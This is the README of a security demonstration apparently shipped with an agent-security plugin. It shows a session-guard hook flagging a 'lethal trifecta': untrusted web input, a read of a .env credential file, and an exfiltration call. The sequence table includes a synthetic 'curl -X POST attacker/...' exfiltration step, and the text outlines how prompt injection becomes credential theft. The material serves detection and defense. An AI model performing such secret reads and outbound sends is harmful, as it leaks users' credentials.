# Lethal Trifecta Walkthrough

> **WARNING: This is a security demonstration fixture, NOT a real attack.**
> All payloads are synthetic. No external network is contacted, no real
> file is read, no real command is executed. The script only feeds JSON
> payloads to one of llm-security's hook scripts.

## What this demonstrates

The **Rule of Two** (Meta, Oct 2025): an agent must never simultaneously
hold all three of:

1. **Untrusted input** — content the model didn't author (web pages, MCP
   output, document uploads, prompt injection surface)
2. **Sensitive data access** — files like `.env`, `.ssh/`, `.aws/`,
   credential stores
3. **Exfiltration sink** — a path off the box (HTTP POST, scp, paste sites)

Any two are acceptable. All three at once is the **lethal trifecta**
(Simon Willison / Invariant Labs framing) — at that point, prompt
injection becomes credential theft.

`post-session-guard.mjs` (PostToolUse hook on every tool) tracks tool
calls in a 20-call sliding window and emits a SECURITY ADVISORY when all
three classes appear. This walkthrough shows it firing on a 5-step
sequence.

## Sequence

| # | Tool | Class | Advisory? |
|---|------|-------|-----------|
| 1 | WebFetch | input_source | no — only one class |
| 2 | Read `/path/.env` | data_access (sensitive) | no — only two classes |
| 3 | Bash `curl -X POST attacker/...` | exfil_sink | **YES — trifecta closes** |
| 4 | Bash `ls -la` | neutral | no — already warned in window |
| 5 | Bash `curl -X POST attacker/...` | exfil_sink | no — suppressed |

The advisory at step 3 lists the evidence and recommends remediations
(disable HTTP exfil, gate sensitive-path reads, narrow tool surface).
Step 4-5 are present to show suppression: `post-session-guard` writes a
warning marker into the state file so the operator isn't spammed by the
same trifecta repeating within the window.

## How to run

```bash
cd plugins/llm-security
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs

# Detailed output (full advisory text + stderr)
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs --verbose
```

Expected: `5 pass, 0 fail` and a `SECURITY ADVISORY (session-guard)`
preview after step 3.

## Hooks / scanners involved

- **`hooks/scripts/post-session-guard.mjs`** — the only hook invoked.
  Configurable via `policy.json` `trifecta.mode` (`block` / `warn` /
  `off`; default `warn`) or env var `LLM_SECURITY_TRIFECTA_MODE`.

This example uses `mode: warn` (default). In `block` mode the third
call's advisory becomes a hard block (exit 2) and the agent action is
denied — see `docs/security-hardening-guide.md` §3 for when to switch.

## OWASP / framework mapping

| Code | Framework | Why |
|------|-----------|-----|
| LLM01 | OWASP LLM Top 10 (2025) | Prompt injection lands via the input_source leg |
| LLM02 | OWASP LLM Top 10 (2025) | Sensitive output disclosure (the .env exfil) |
| ASI01 | OWASP Agentic Top 10 | Excessive Agency — agent holds all three capabilities |
| ASI02 | OWASP Agentic Top 10 | Agent Data Leakage — exfil sink + sensitive read |

## State isolation

`post-session-guard` stores per-session state at
`${os.tmpdir()}/llm-security-session-${ppid}.jsonl`. Because all five
hook invocations are spawned by the same `run-trifecta.mjs` process,
they share that script's PID as their parent PID — so the entire
walkthrough lives in a single state file. The script deletes the file
in a `finally` block before exiting. **Your real session state under
`/tmp/` is never touched.**

## Limitations

- The walkthrough demonstrates the *primary* 20-call sliding-window
  trifecta. It does not exercise the 100-call slow-burn variant
  (`SLOW_BURN_MIN_SPREAD = 50`), the MCP-concentrated variant
  (all three legs from the same MCP server), behavioral drift via
  Jensen-Shannon divergence, or volume-threshold advisories.
  Those have their own unit tests under `tests/lib/post-session-guard.*`.
- This is deterministic detection. It does not exercise the
  `block`-mode exit-2 path — flip `LLM_SECURITY_TRIFECTA_MODE=block`
  and re-run if you want to see the script fail at step 3.

## See also

- `docs/security-hardening-guide.md` §3 — Rule of Two and configuration
- `knowledge/owasp-agentic-top10.md` — ASI01 / ASI02 background
- `knowledge/deepmind-agent-traps.md` — adjacent attack categories
- `examples/prompt-injection-showcase/` — the input_source leg in isolation
- `expected-findings.md` (in this folder) — the testable contract
